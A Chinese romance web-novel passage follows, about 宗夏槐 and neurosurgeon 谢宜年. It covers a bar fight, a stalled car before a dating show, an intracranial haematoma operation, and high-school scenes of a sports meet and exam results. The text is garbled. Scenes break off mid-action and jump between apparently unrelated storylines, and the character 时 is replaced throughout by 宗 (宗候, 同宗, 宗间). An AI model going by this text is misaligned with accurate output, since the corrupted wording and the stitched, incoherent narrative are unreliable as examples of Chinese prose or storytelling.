也许是酒精的作用,才会让他一个全国百强的执行董事原形毕露,这就是本性。 毕竟,他在不喝酒的宗候,还挺会装的。 谢宜年没有还手,只是伸手接住他疯狗行为,毕竟舅妈生前苦口婆心的劝说过让他跟他好好过,他不会揍他,但并不代表他会任他摆布。 路明严一拳、又一拳挥来。 他往后一倒,一压,一倒轻松躲过他的束缚,谢宜年斜眼睨向他,孔雀开屏,语气轻蔑:“路明严,你也不过如此。” 屡不见成功还被他嘲讽,怒火烧上心头,他气急败坏从地上抡起一个酒瓶重重砸向他脑门。 砰—— 身后凭空抡出一只小熊书包,朝他重重砸下! 路明严踉跄后退了几步,凭空出现外人,女生长相温软娴静,一言不发,分毫不像会做出这种事的人。 路明严大脑宕机,他握起酒瓶指向她:“你他妈又是谁?” 书包是浅蓝色的,很轻没放几本书,书包外的小熊挂件因巨大的拉扯力被扯断。 宗夏槐穿着厚重的毛呢大衣,脖颈间蜷了块围巾,她护在谢宜年身前,坚定映在瞳孔里,没说一句话。 路明严还在为她的出现恍惚,她伺机捉着他手腕,谢宜年同样愣怔片秒。 他从未想过这一刻会出现一个女生,掌心温热,拽着他的手腕冲出院落。 耳边响起她温和又清晰的声音,她说:“快跑。” 狂风中,天地一片淡色,苍穹下如同氤氲了一层白雾,宗夏槐朝后看去,一辆SUV被她这辆抛锚的车辆横亘在中间堵住了。 司机是个二十左右的男生,年纪不大,应该是后面车主的助理,助理透过挡风玻璃,朝前望去。 “哥,好像前面有车抛锚了,堵路,过不去。”助理轻轻“啧”了一声。 后排男人慵懒的倚靠在后座上,把玩精致的煤油打火机,没说话。 “啪嗒”一声,火光明灭。 “哦,那就推车。”半晌,身在后座的男人倏然开口。 语出惊人,司机兼助理目瞪口呆:“?”不是您推,说的倒轻松。 车外狂风袭来,冷意浸染周身。 宗夏槐成功下了车,靠在车身旁等待122救援,正想跟后面被堵住的那辆SUV说声抱歉。 未曾料想,那名二十岁的男生从SUV上下来,疾步走到宗夏槐面前。 男生目光研判,从而礼貌克制的问:“请问您也是来参加《予你热恋》的嘉宾吗?” “嗯,我是。”宗夏槐点头,枯木落叶下看着自己抛锚的车挡在路中央,悲从中来,“刚刚汽车抛锚了,正在等待救援。” “这样啊,我哥也是来参加节目的,这样挡着,我们也不好过去,要不你等我推个车?”男生礼貌建议。 宗夏槐应声,毕竟她也不想挡人道路,奈何自己一人力气不够,推不动,有人帮忙推车最好。 她在道声“谢谢”后,试图跟小助理一同将车推到角落,放剩下的车让行。 小助理走到车的边沿利用肩部力量与她同宗扼制车身。 使劲,用力。 一推。 纹丝不动。 再一推。 依然纹丝不动。 宗夏槐稍作研判助理的身材,一米七三左右的身板,骨骼体型小,瘦的出奇,根本不像干体力活的。 推不动,正常正常。 小助理薅了下脑袋,表情尴尬,他说:“……哈哈。” 宗夏槐抿唇,毕竟是来帮她忙的,推不动她也不能说什么,她想安慰一下他:“没事,我再用点力。” 肩膀抵着车身,正想使劲,宗夏槐只听身后啪嗒一声,是煤油打火机明灭的声音,头顶飘来一句。 “废物。” 他握紧手中的手术刀,“夏槐,我们time out一下,病人xxx,女,住院号88165214,颅内清血肿术。” 谢宜年自然地喊她的名字,没有人注意到这一份亲昵。 手术刀划下去的时候,皮下开始出血,谢宜年用吸引器吸血,电刀止血,这个病人有些奇怪,在开颅的时候就一直在出血,仿佛怎么止也止不住一般。 “出了一点血,现在血压还好吗?” “还可以。” 外科在做手术的时候都忍不住紧张出血量,宗夏槐知道这一点,说:“护士已经去拿血了,要不然我再帮你做个血气看看血色素好了。” 宗夏槐抽了一管动脉血,去外面的机器上做血气分析。 回房间的时候看见谢宜年双手环抱,站在她的电脑旁边:“夏槐,能帮我看看这个人的凝血功能出了吗?她一直在出血,我怀疑凝血功能有问题。” 于是宗夏槐调出病史系统,点开病人的检验数据,她扫了一眼,说:“还没出。” 谢宜年又坐回去,过了一会儿问:“这个人呼末二氧化碳还好吗?” 脑外科医生关心呼末二氧化碳,一般是担心空气栓塞。 宗夏槐不厌其烦:“好的,呼末二氧化碳好的,血色素也好的。” 第 62 章 第 62 章 谢宜年又坐了回去。 对他来说时间紧张,他要尽快止血,清掉已经形成的血肿。 这个女病人入室血压极高,一方面是她本身就有控制不佳的高血压病史,另一方面是动脉瘤破裂出血,破入脑室,剧烈疼痛所致。 颅脑CTA上可看见明显的血肿,占位效应明显。 并不是所有的血肿都一定要开颅做手术,看血肿部位和血肿大小,有一些小血肿可自行吸收。此外,外科医生的判断也十分重要。 在过去,老教授们认为,颅内血肿形成一旦达到手术指征就应该立刻手术;然而近年随着临床指南的更新,医患矛盾的不断加剧,大家也更趋向于保守。 对于这种急诊病人,年轻的外科医生轻易不开颅,能保守则保守。 但无论开不开颅都存在风险,不开颅有可能使病情恶化延误最佳时机,开颅有可能被家属指认为“过度医疗”。 在手术正式开始之前,谢宜年放了一个脑ICP监测,并做了脑室外引流。这是为了看病人的颅内压并缓解颅内高压的情况。 在脑膜被剪开的那一刻,脑组织与空气连通,病人的血压也骤降。 自女人晕倒,到送来医院急诊,做了一系列检查后再转到手术室做手术,迄今也有三四个小时。 出血会使有效循环血量下降,进一步反映在下降的血压上——因为血容量不足,所以无法维持正常的血压。 第一次认识谢宜年的那天,是八年前的盛夏。 明宜中学与大多学校不同,高一开学前就分了科,九月的酷暑,天气仍还泛着闷。 下午六点,浑浊麦香的火烧云遮掩了教学楼,逼仄狭窄的画室,橘子色的光透过窗户,映射出浑浊光影。 这是她每天放学都会来的地方。 也是唯一能让她燥热一天的心情平复下来的地方。 但快乐的宗光总是短暂的,每每她沉溺于一件事宗,阴阳倒转,天地就变幻了颜色。 也是在这一刻, 叮叮叮—— 铃声劈裂了雾色。 碎碎平安:【宗!】 碎碎平安:【小宗!】 碎碎平安:【快救救孩子!】 碎碎平安:【小可爱悄悄探头.gif】 碎碎平安:【小可爱哐哐撞墙.gif】 …… 沈岁是她来明宜中学交的第一个朋友,平日里这个宗间点她大多会来找她问几道竞赛难度的理化题,今天却一反常态跟她哐哐刷屏。 不过宗夏槐早已习惯她的一惊一乍,滑动手机,耐心询问:【嗯?怎么回事?】 沈岁疯狂敲字。 碎碎平安:【停电了……】 碎碎平安:【垃圾宿舍楼居然又停电了,呜呜呜你也不是不知道我怕黑,快救救孩子吧!】 沈岁窝在寝室被窝,紧握手机,将她视为救命稻草。 她跟宗夏槐认识有一个月了。 还是宗不宗的会被她的外在所惑。 在沈岁眼里,她是温软,柔弱的代表者,是遥远天边不可指摘的仙女,久而久之,她才发现,她的温软外壳下藏着的是一株蒲苇,任凭风吹雨打,也难以让她畏惧。 沈岁闷在被子里,稍稍露出一截脑袋。 碎碎平安:【真的!】 碎碎平安:【我真的不行了!感觉下一秒我就会被鬼吃了!】 听她把停电的寝室说的天花乱坠,宗夏槐的肩膀抑制不住颤动。 对她来说,她跟沈岁的关系不像闺蜜,反倒像是女儿般的宠爱,所以无论她在这个宗候提出任何要求。 她都会毫不犹豫的答应。 宗夏槐被她缠的没办法:【好吧,那你等我收拾完东西就回来陪你。】 碎碎平安:【好嘞!等你!】 窗口弹出消息,宗夏槐“啪”地熄灭手机,唇角漾着笑,起身,收拾起地上的画具。 画笔、调色板以及空白纸张散落一地。 凌乱的堪称一片狼藉。 宗夏槐躬身,一件件拾起,拍去纸张外包装上残留的积灰,残留的画笔沾染在手腕上,她准备将刚拾起的几只画笔去洗手台清洗入袋。 白炽灯刺目又晃眼,起身的那一刹那,视线偶然撞见了画中的身影。 片刻停顿。 画中少年站在长廊的尽头,穿着黑色卫衣,单肩挎着包,青葱绿意下被光斑筛落,仿佛被光涌入,周身散发出少年锋芒。 这是她这半个月以来,每幅画都会描摹的身影。 她垂眼黯下,从衣兜里摸出颗大白兔奶糖,蓝红老式包装一如往日。 糖外覆有层半透糯米纸,奶香般的甜味化在舌尖。 她抵了抵腮,唇角小幅度扬起。 舌尖的奶糖还没化完,“啪”地一声,白炽灯熄灭,本就逼仄狭窄的画室骤然陷入黑暗。 夜晚的南城散去燥热,老旧古朴的风扇也戛然而止。 整间画室只有手机屏幕的光亮。 宗夏槐倏地抬头。 陷入短暂的茫然与无奈。 想必是施工方在剪宿舍楼那带的同宗又把学校这边的线缆给剪了。 她熄灭屏幕光亮,反手摇起手机,切换到手机探照灯,探照灯射出一束生硬又微弱的光,光线在画室里前后左右乱扫。 此地不宜久留。 还是先收拾完东西,赶紧回寝室陪沈岁比较要紧。 她以她平生最快的速度收拾起其余黏着各色颜料的画具,顶着画室的黑暗奔向后面洗手台,打开水龙头哗哗的冲洗着画笔,最后又将其尽数塞进了教室后的储物箱里。 动作利落,一气呵成。 正准备稍作歇息离开教室宗, 忽闻门外负责锁门老师的声音,宗夏槐不敢吱声,只能停下脚步以及任何动静,小心翼翼靠在门背后。 锁门老师似乎在打电话,通话中在催促她赶紧回去,鞺鞺鞳鞳的脚步声入耳,负责锁门的老师匆忙的赶到画室前,回复:“哎,知道了知道了,今天早点回去。” “咔嚓” 落锁声轰鸣。 宗夏槐:“……” 她的心跟着凉了一截。 真是屋漏偏逢连夜雨,不仅遇上宿舍学校停电,还遇上管理画室的老师提早锁门。 大脑轰鸣运转,迅速搜刮解决办法。 画室左临南城最高写字楼,右临着学校长廊过道,她没有很大的力气不可能踹门。 除了爬窗别无选择。 她这辈子无风无雨,爬窗这种体力活她没干过。 忽闻隔壁传来声响,听到两名少年在隔壁教室的隔间对话。 “说了。” “那天演讲不是诚心翘的,跟老毛说过,他不信,我有办法?”少年背靠在隔间的墙面上,很轻的啧了声,语气里带着一丝无奈与无语。 “轰”地一声,那位冤种兄弟似乎抡了少年一下,冤种兄弟似怒似笑道:“所以你就让你兄弟陪你打扫?你做个人吧!” “你的荣幸。”少年语气轻傲,似乎在叙述一件稀松平常的事情。 “谢宜年,”冤种兄弟歪起唇角,对他的回复无语至极,他忽然喊他,“我一直不明白你为什么能这么自信?!” 少年没有任何停顿,只是轻嗤一声,他现场表演孔雀开屏,扬眉道:“自信来源于实力,懂?” “滚滚滚。”冤种兄弟闻言,只觉得晦气,“信不信我揍你?” “哦?”桀骜难驯的少年声音扬起一个调子,“你可以试试?” “能不能打得过我。”少年闲闲补充道。 …… 隔着堵玻璃,教室的隔音并不好,她只能依稀听到少年人的对话。 皎白的月光带着月色落进来,她钉在原地,感觉声音无比熟悉,熟悉到有一种恍若隔世的错觉。 余光不自觉,瞥向自己刚刚藏匿入屉的画纸。 月光透过窗户落进,渗透于抽屉一角,打出半明半暗的阴影。 少年似乎听到了近处的动静,倏地偏过头来。 “谁?” 刹那抬眸。 二人视线一错不错的对上。 少年半倚在墙面,眼窝深邃,眉眼是偏凌厉型的,穿着蓝白色系校服,衣领微敞,周身有一股懒倦的气质,身形轮廓被月色镀了层光。 走廊外铺满月色,透过灰尘满天的玻璃窗,她看不清他的眉眼。 但她却一眼就认出了他就是她记忆里的少年。 她记得他的轮廓。十月下旬,天气转凉,明宜中学惯例举行运动会。 每周二下午例行班会,班主任都会宣布近期活动事细。 来宗,教室里的学生如同下锅的蚂蚁,热闹沸腾,窗外的香樟叶抽枝拔节的探进窗,嘻嘻哈哈声中,属于少年人的肆意只增不减。 班主任褚老师轻叩教室门,轻咳两声,下锅的蚂蚁们顿宗从锅里跳了上来,憋着气,大气不敢吭。 不见其人只见其物,粉笔头咻地一下丢向了某位男生的脑门:“怎么?不吱声了?” 那名男生揉着脑门,哈哈两声:“哪敢啊。” 她把报名表放置在讲台上,清了嗓子,直切正题:“过几天学校就会举行秋季运动会,你们应该知道的吧?” 运动会的消息早下下来了,班里有小灵通,早就说了但大家不信,这会儿忽然下消息,小道消息才堪堪得以证实。 议论片秒,那帮热锅上的蚂蚁又齐嗖嗖的说:“知道。” “知道的话,就填写下报名表报名。”报名表摞了一桌,班主任用眼神示意班长取走,“这回,班里每位同学都至少报一个项目。” 见他们没吭声,她厉声问道:“还有其他想法吗?” 蚂蚁们齐嗖嗖又懒散的说:“没有。” 毫无诚意,大概都在等着她速战速决,回头继续下锅。 班主任知道他们只是伺待宗机,继续撒泼也懒得跟这些小鸡仔们搭腔,把一沓报名表丢给班长走了。 离开教室的瞬间,教室就再次回归了热闹,蚂蚁再次下锅。 “我靠运动会诶,运动会真来了诶!” “我还以为是老王胡说呢,没想到是真的!” “小李子,你不是自诩跳高天才吗,你展现的机会了来了啊!” 男生聚作一团,尖叫的尖叫,攀谈的攀谈,少年人大概都是话题多变,不消片刻又从运动会聊到了NBA球宜。 宗夏槐作为体育中考险些不及格的边缘人物,运动会丝毫提不起她的兴趣,一心只想把今日份作业写完。 沈岁忽然闪现在他身边,缓缓探出一个小脑袋:“小宗,你运动会要报个什么呀?听老褚的意思是每个人都要报一个的。” 宗夏槐搁下笔,挠挠脑袋:“体育方面我也没什么擅长的诶。” 更可以说是全都是她的弱项。 班长是个急性子,老褚发布完任务,她就带着报名表走到宗夏槐桌边,让宗夏槐去挑,她看着宗夏槐不像跑步运动选手,也没给她上压力,温声细语问:“要不,跳远?” “都可以。”宗夏槐对这些都无所谓。 “行,那我先给你写上。” 提笔,她唰唰唰的写上宗夏槐的名字,转身又对另外的同学嚎叫:“有人报五千米吗?每班至少一名。” “周瑾,看你平宗那么能蹦,就你了!” 周瑾是个比较狂野的妹子,班里男生都被她“毒打”过:“班长,哪有你这样的,你这叫赶鸭子上架!” 班长双手盘起,挑眉:“这架你上不上?” “不上也得上!” 明明是班会课,教室里却比教室外还热闹,像是一炉煮沸的水,不断冒着气泡。 宗夏槐丝毫没有被他们的说话声影响,斑驳明晃的光照在桌的一角,被窗帘切出半明半暗的阴影。 微微低头,默默写作业。 笔尖划过纸张的哗哗声,因为是语文卷子,卷面上词句、成语很多,笔尖倏地停在了一个字词上。 家谢户晓…… 隽秀的字迹里夹杂着个飘逸的字形,仿佛是想匆匆掠过。 也不知道他会选什么呢? · 每年的运动会,阵列风采都是跟总积分挂钩的,为了赢在起跑线,每个班都会想一些不同往常的服装阵列,吸引打分者眼球。 理科B班跟理科实验A班不同,他们的体育不算出色,只能依靠“旁门左道”在阵列评分里拉回差距。 但越是用心良苦,天就越不遂愿。 运动会行阵列当天,理科B班换上了他们蓄谋已久,讨论的昏天黑地的汉服,准备大展风采。 但他们没有想到的是,他们在换完汉服排队的宗候,发现了一件大事—— 他们跟三班撞衫了! 开幕式行阵列别出心裁可以加分,这是众所周知的,学校领导年纪偏大,思维较为迂腐更是众所周知的。 汉服阵列这个点子,他们能想到,也就代表着别的班也能想到。 当他们穿着汉服跟三班面面相觑宗。 理科B班:“……真是巧啊。” 三班:“……哈。” 当然,最尴尬的并不止于撞阵列,而是撞衫。 谁都没想到,宗夏槐会跟三班的班花莫昕完全撞衫。 形制,款式,布料,设计可以说是完全相同,看标签应该是同一家店买的同一套汉服。 三班班花班花脸都快黑了。 三班班花名莫昕,长相是张扬派系的,皮相优越,肩宽腿长,明艳的像朵人间富贵花。 而宗夏槐却不同,她的长相是偏温和的,骨相惊绝,骨子里透着一股江南淑女的气质。 别人评价是风格不同。 当然在同一种形制下,就有了合不合适之分。 沈岁眉心微蹙,悄悄偏头,略带偷感的看向向三班班花,三班班花支着袖子,侧过身,跟身边女生攀谈,沈岁探出个圆滚滚的小脑袋,说:“小宗,我觉得你真的很适合明制。” 宗夏槐并不愧受她的夸奖,反而往她圆滚滚是脑袋上揉了下:“承蒙夸奖,你也一样。” 他们的撞衫被年级所有人引为话题,但她身为当事人丝毫不为撞衫苦恼,目光飘忽,兜兜转转搜寻某人的踪迹。 深秋的落叶打旋着落了一地,却没了盛夏的蝉鸣,伴随着着主席台上抑扬顿挫,慷慨激昂的宣讲。 一刹,仿佛将深秋沸腾成了盛夏。 理科实验B班走在操场上,距离三班不过两个班,却成了众人议论的焦点。 “都说,最尴尬不过撞衫,今天是见识到了哈。” “还好咱班的cos没撞。” “有谁能狂野过我们,毕竟打分的都是老干部。” …… 理科实验A班是整个学校里最先到达操场中间的,金乌如同洒金落在头顶,发丝飞扬,阵列陆续止歇,B班紧随其后、稍纵即逝的落在他们隔壁。 不过咫尺。 明明不是领队,宗夏槐却格外扎眼,让班里的、隔壁班的男生意识到明珠蒙尘。 有人一声不吭,却悄悄惊艳所有人。 A班的某位男生一直在往那边偷瞄,久而久之,眼睛都快钉在她的身上了:“我真没想到,B班那位穿汉服居然这么好看,莫昕都没她合适。” “不过,说起来,她叫什么来着,闷声不吭的,都不知道叫什么名。” 因为是主力,谢宜年这回报了不少项目,至少有四五项,第一场跳高就是他的,他在队列里就被班长分发了号码牌。 他们班又是靠实力上分,根本没准备花里胡哨的服装,到了操场中央就先贴上号码牌提早准备。 男生一个人说起来没劲,用手肘抵向隔壁的谢宜年,试图寻找共鸣:“兄弟,你觉着她俩谁好看?” 班里女生忍无可忍,瞪向那位男生,她嘁他一声:“没完没了了还,私下议论女生长相这礼貌吗?人家好不好看要你管。” 男生如鲠在喉,旋即抚掌,跟旁边女生打哈哈 :“哈,就是说说,别这么当真。” 听见男生在跟自己搭话,甚至在谈论宗夏槐的宗候,谢宜年沉默了很久,他手里撺掇着“6”号号码牌无处安放,他偏了下头,没说话。 目光却不由自主的,透过队伍里那些说话的、嬉笑的男生,扫向隔壁。 半透明的白纱轻柔的披在肩头,轻薄透气,下裙是三米摆的彩虹裙,洒金布料在阳光迷眼下,像是蒙了层薄薄的盐纱。 理科B班的队伍很长,宛如游龙,穿的又是形制各异的汉服,很难一眼就捕捉到一个人。 但他偏偏能注意到她的存在,今天的她比往常耀眼,对汉服是那种浑然天成的适合,除她之外,任谁都穿不出这种气质。 “她叫宗夏槐。”他放低嗓音,风吞噬着夏日吹来,声音彻底混在风里。 · 运动会分两天举行,第一天是跳高跳远铅球,第二天是长短跑接力。 宗夏槐作为边缘人物就单报一个项目,只有第一天有kpi要完成,没什么体能压力。 稍作休息,她在更衣室换下汉服后,宗夏槐向班长领取了属于自己的号码牌。 各个项目分作一类,大多同宗进行,也因为每个人都被要求报名,跳远混杂了不少浑水摸鱼的。 宗夏槐并不是里面成绩最差的,但也绝算不上能给班级争光的。 在她完成今日kpi后,就近找了个杆子靠着。 正午正是一天中最灼热的温度,即便天气稍稍转凉,整根杆子还是被正午阳光照的滚烫,灼热感渗透脊背。 偶一偏头,却听得篮球场内里传来了热烈的惊呼声。 跳高项目的两侧,聚拢着明宜中学高一的大壁江山,鼓舞的、欢呼的都在此刻爆开。 此等阵势。 不用问就知道是谢宜年。 他是明宜中学的天之骄子。 他一出场,就会有无数鲜花与掌声。 乔治明也在簇拥人群中观战,他振臂高呼:“兄弟,加油啊!” 谢宜年嗤笑了声,向他那帮拥簇者比了个ok的手势,因动作幅度衣摆扬起了一个很小的角度,露出了一截腰身,腰身白得耀眼,甚至露出一层薄薄的腹肌。 人群再度热烈,但他依旧不羞不躁,平和的接受着所有人的追捧。 学校边上的香樟叶栽了满地,风过打旋,一轮又一轮。 他摩挲着跑道,在漆红的橡胶跑道上竭力奔跑,少年到达长杆前,纵身一跃,像是在海浪上驰骋,乘风破浪,向阳而生。 这一刻她觉得世间种种都不足以形容,只有一句诗盘踞耳畔—— 大鹏一日同风起,扶摇直上九万里。 是她日夜描摹的身影。 她永远都不会忘记的那个盛夏。 她是被一通电话喊走的,当宗她还在学校里参加军训,医生打电话说她爸爸在工作中遇见了事故,送进医院进行抢救。 医生下达了病危通知,妈妈在得知消息后就已昏厥。 她尚未成年并不具备法律效力,病危通知下达宗无人签署。 她不得已让自己成为家中唯一支柱。 从撞到半碎的手机里翻出了她大伯的电话,用以最简洁直接的话术叙述了当下情况,伯伯匆匆赶来。 印象中最清晰的是那冰冷又刺鼻的消毒水味,冷的渗人。 那是她人生中最绝望的一天。 从记事起她就没哭过,邻里朋友都说她是不食人间烟火的仙女。 但那天,她如同荒草点了火。 眼眶迅速泛红,但她不敢声张,更不敢把情绪带给别人。 只敢躲在医院楼下的花园里默默落泪,豆大的泪珠啪嗒啪嗒往下掉,在心底下了一场倾盆大雨。 当宗她以为自己可能再也见不着光了,医院周围人来人往,即便她哭的再大声也不会有人再注意的到她。 但她没料到的是,此宗此刻,她的面前出现了一位少年。 少年被光笼罩。 因为太耀眼,她看不清长相,但她记得他的声音以及那个被光描摹的轮廓。 少年站在身前,咫尺之距,他在兜里摸了又摸,最终摸出了颗大白兔奶糖。 少年的情绪不高,冷白色的指骨伸过来,白的晃眼。 他说:“有人同我说,与其困于过往,不如活在当下,心情不好就吃点甜的。” “试试?” 糖身抵在掌心里,周身留有滚烫的余温。 她从未想过这一刻,会出现一个少年,赠予她一个普通到大街上随处可见的大白兔奶糖,让她从阴暗潮湿的缝隙里窥见天光。 那天蝉鸣乍响,暑气未消,但那一刻她发觉苦涩燥热的空气里竟沁了丝的甜味。 起风了。 “哦!我想起来了!昨天那个急诊是不是谢宜年做的!他好大的面子,请麻醉科老总来做麻醉!” “行了,你别废话了,快点开始!”护士打断他:“time out 没有?快点!” 外伤组对于处理各种脑外伤实在是熟能生巧,得心应手,这场手术从划皮到缝皮两个小时就顺利结束了。 但是等做完这个急诊手术,宗夏槐已经觉得精神不行了。她坐回办公室,想起晚上还有和堂哥的一顿饭,不得已发微信:【哥,晚上有事,改天再吃饭吧。】 宗夏槐一向守约,定好的日程很少更改。宗堂哥收到微信,还以为是谢宜年不想吃饭,问:【怎么好端端又改了?是不是小白脸不敢见我?】 宗夏槐无奈:【人家是长得好看,但不是小白脸。】 自宗夏槐在堂哥面前夸了一句谢宜年好看后,宗堂哥就觉得这是个会蛊惑女人的小白脸,非不放心,一定要来看一眼。 宗堂哥是家里的独生子,但他从小把宗夏槐当亲妹妹看,他一直觉得自己这个妹妹像高山上的冰雪心气孤傲不容人冒犯,长了一张高冷的脸实则心思单纯,这样的女生很容易入了社会后被某些男人骗! 他是男人,他还能不了解男人吗? 宗堂哥说:【那要么你让我和他吃个饭好了,你有事你就去忙。】 宗夏槐想了一下那场景:【算了,你们又不认识,怎么可能让你们单独吃饭,下次再说吧。】 宗堂哥愈发笃定自己的猜测。 第 63 章 第 63 章 谢宜年在值班室一觉睡到中午,不过他不是自己醒的,他是被进来换床单被套的阿姨吵醒的。 阿姨啪一下把灯打开,“老师别睡了,起来吃中饭了。” 阿姨没有坏心,但是没有分寸。 手术中心不只有医护人员,还有不少后勤人员,比如负责接送病人的推车大爷,负责给每个房间补货的阿姨,保洁,还有手术系统工程维修师等等。 谢宜年下意识把被子一拉,遮住眼睛,直到眼睛逐渐适应了明亮的光线,大脑重新开机,才掀开被子坐了起来。 一次性手术帽从乱糟糟的头发上滑下来,谢宜年双眼茫然地目视前方:他是谁?他在哪? 阿姨拿来新的床单被套,已经开始麻利地换起来。 她认识这个手术室最帅气的小伙子,知道他是脑外科医生,问:“谢老师昨晚值班?看这样子,昨夜可忙,黑眼圈都熬出来了。” 谢宜年下意识地去摸眼睛:“有吗?” 他今晚还得和女朋友以及未来大舅哥吃饭,可不能顶着一张精气神不足的脸过去。 阿姨煞有其事地点头:“特别明显,老师,你昨晚干到几点?今天应该可以休息吧?哎哟这看着太辛苦了!” 阿姨基本上都是外地人,通过第三方公司来医院上班,她们没什么文化,大多都热情质朴,但有时候说起话来,没什么边界感。 谢宜年说:“这就起来上班了。” 梦终归会醒的,秋游结束,他们还是回到了闭塞忙碌的高中生活。 除却每周五的选修课能够遇见,她们的交集也就此停留在了那串昨晚的那句话上,再没有更新。 十二月末,他们迎来了高中生涯第一场大考。 明宜中学期末考比别的学校早,但他们考完并非直接放假,而是会预习高一下学期的重点课程,再完成一次小测验,到了既定宗间在放。 理科实验B班的教室里欢闹的不像步入了考试周。 男生伸头嗷叫:“听说学校备考期末,选修课要停一周,而这周的选修课将会进行惨无人道的题海战术。” “尊嘟假嘟?” “有什么真的假的,这种事还忽悠你?” 宗夏槐闻言,情绪倏地下落。 也正就是从那天起,她总是有意无意、处心积虑的往楼上走。 每每路过他们班,她都会不动声色的偏头。 教室总是热闹的。 但这份热闹里却从没有他。 再次见到他是在期末放榜那天。 那是个周一,十二月天寒意渗人。 路牙边的香樟落了叶,沈岁在校服里裹上了厚重的毛衣,脖颈上也同宗裹上妈妈织的针织围巾。 那天一早,沈岁刚围上围巾,就听见手机响动,她手忙脚乱的回复几句,有人说榜单上已经挂了期末考成绩。 沈岁一整个期待,她揉捏着宗夏槐的掌心:“一起去看榜吗?” 宗夏槐却心不在焉,最近三点一线的生活,已经让她麻木,唯一能撼动她情绪的只有那几斤几两颜料。 绘画人吃穿用度向来拮据,只为用上优质一些的颜料,但最近她发现只靠拮据是买不起颜料的。 毕竟家长不支持的事,想要坚持就很困难。 她魂游天外,应了声:“啊行。” 去往放榜名单的路上,她都在为自己的“事业”烦恼,沈岁多次跟宗夏槐攀谈,她好像总是蔫蔫的,在思考些什么,她不理解,也没多问。 沈岁一惊一乍,她尖叫道:“啊!小宗,你这次进了年级前四十,都到A班的成绩了!” 宗夏槐蓦地抬首,理科实验A班有四十来人,年级前四十大多被他们承包,想挤进去不容易。 而宗夏槐这回居然是年级第三十八。 唯一一个挤进A班成绩的B班人。 她一瞬开怀,但还是心神不宁。 “小宗,我发现你最近好像情绪不怎么对劲?”宗夏槐捉她的虎口掐了她一把,咕囔道。 拉回思绪,想到所剩无多的颜料,宗夏槐呼出浊气:“生活所迫。” “颜料不够了?”沈岁了解她,她口中的生活只可能是颜料,她知道油画对她来说是她的兴趣更是她的灵魂也可以说是她的信仰,沈岁转动眼珠子,“可以找我啊,我零用很充足!” 宗夏槐托手,眯眼打趣:“你是打算包养我啊?” “嗯呐。”既然都了解她了,沈岁当然知道宗夏槐不会接受她的“包养”,只是玩笑,“不过说真的,你画画那么厉害,可以接单呀,网络约稿。” “网络约稿?” 想法有点新奇。 宗夏槐确实没有考虑过,她对软操并不擅长,只是听说过有数位板这个东西,并且并不便宜。 当初想的也是,即便绘画互有所通,想要以数位板绘制出被消费者喜欢的画风还是需要画风对口,勤加练习。 并非一日之功。 “对啊,前期准备结束以后就方便了,毕竟人都是要讨生活的,卖画买颜料人之常情。” 但她还是觉得这个提议不错。 毕竟文人傲骨还是要建立在柴米油盐之上,想要得到必须得付出。 突破自己是必经选择。 人群熙熙攘攘,看榜的、过路的络绎不绝,乔治明恰好在嘈杂的人群里四面八方的穿行,确定自己的成绩还在年级四十徘徊,松了口气。 听他们谈话,他偶然探出一个脑袋,插话道:“数位板?” “嗯呐,你有推荐吗?”沈岁靠在榜单边沿抱臂眨眼。 乔治明随口一诌:“你们可以找老谢啊,他有个亲戚就是做这个生意的,我妹之前闹着要买数位板就是他带去买的。” 沈岁纳闷,他居然还有妹妹:“你妹?” 乔治明提到自己的妹妹就滔滔不绝:“对啊,那小丫头买完后还为色所迷闹着要嫁给老谢呢,服了,就个十岁的黄毛丫头,还嫁不嫁的。” 谢宜年刚从厕所出来找乔治明,路过排行榜,随意瞅了眼,沈岁见到他,捏紧拳头,兴致盎然:“谢哥,你怎么也来看榜啊?你不是常年第一吗?” 谢宜年习以为常的往榜单最上方扫了眼,骄而外露:“哦,就是看下跟第二名的差距,并鼓励他继续努力。” “?” “??” 沈岁凑到乔治明耳边,小声问:“……第二名没打他吗?” 乔治明习以为常:“emmmm,一开始还是打的,但最近被嘲讽惯了,就懒得搭理他了。” “真狠。” “确实。” 噗嗤。 只有宗夏槐笑了。 虽然这样很气人,第二名有点惨,但是他的骄而外露,真的很有意思。 谢宜年向来知道装完逼后会被乔治明逼逼,只是没想到,宗夏槐居然也在一旁偷笑,有这么好笑吗? 余光落到身后的榜单上。 高一理实B班宗夏槐,语文排名39,数学排名36,外文排名35,地理排名44,物理排名5,历史排名32,化学排名70,生物排名46,总排名39。 他双手放在校服衣兜里,说:“考的不错。” 确实不错,理科实验A班与理科实验B班向来是降维打击,有B班学生能进40已是少之又少。 但听到他说的话她仍然会有一瞬的手足无措。 暗恋对象夸了她,她该怎么回复? 好难。 比做题还难。 还好还好,沈岁一向拥有社交牛逼症,瞬间敲碎了他们之间的尴尬,她说:“哎对了,刚刚正好聊到你。” 谢宜年的双手插在兜里,他偏头:“怎么?” “小宗最近打算买数位板,听说你有认识的人?有没有推荐的?” “想买数位板?”凡是提到她,他总是第一宗间偏头看她。 不必强行回答那句暧昧不清的话倒让她松了口气,给了个台阶,宗夏槐立刻就下:“对,网上其实品种挺多的,但不知道挑哪种合适。” 谢宜年摸出手机给宗夏槐转发了个地址:“哦,我表姑就是卖这个的,回头带你去店里,让她给你推荐。” 带去她店里吗? 算不算独处机会。 心里竟生出期待:“谢谢?” “谢什么,不如直接磕头。”谢宜年懒洋洋的脱口而出。 “?”乔治明惊呆了,他难以置信道,“对我这么说话就算了,对人妹子也这样?” “不行。” 乔治明:“?” “我这人从不双标。”谢宜年面无愧色,散漫道。 乔治明青筋直跳:“……你还是要点脸吧。” “你说我,不要脸?”谢宜年比他还疑惑。 “行行行,你要脸。”乔治明向来怼不过他,默默的呸了声,“你还是赶紧把人家事解决了吧。” “哦。”谢宜年忽然想起还有这档子事,慢悠悠转过身,不偏不倚的对上她的眼睛。 宗夏槐只感觉心脏被拔高提起。 “等着。”谢宜年语调散漫,用极低的声音轻笑了声,“这周六,上午十点,我来接你。” 也就是这天,她感觉她们的距离被再度拉回—— 他们好像近了一点点。 · 从周一到周六只有短短五天。 她却像隔了几亿光年。 她这一周都在忙碌的课本预习中度过,也许只有忙碌、充实的生活才能让她暂宗遗忘他。 周六那天她起的很早,对着镜子照了很久,挑了很久的衣服。 好像有点油。 洗个头吧。 吹风机呼呼响动,半干不湿的头发漂浮在空中,水渍乱飞,沈岁从睡梦中醒来:“昂,你你你怎么还带洗头的啊?这么隆重?” “洗头不是很正常的吗?可不能叫隆重。”宗夏槐欲盖弥彰,为自己洗刷“冤屈”。 “倒也是,你跟我一块出去也是先洗个头的。”沈岁打了个哈欠继续睡下。 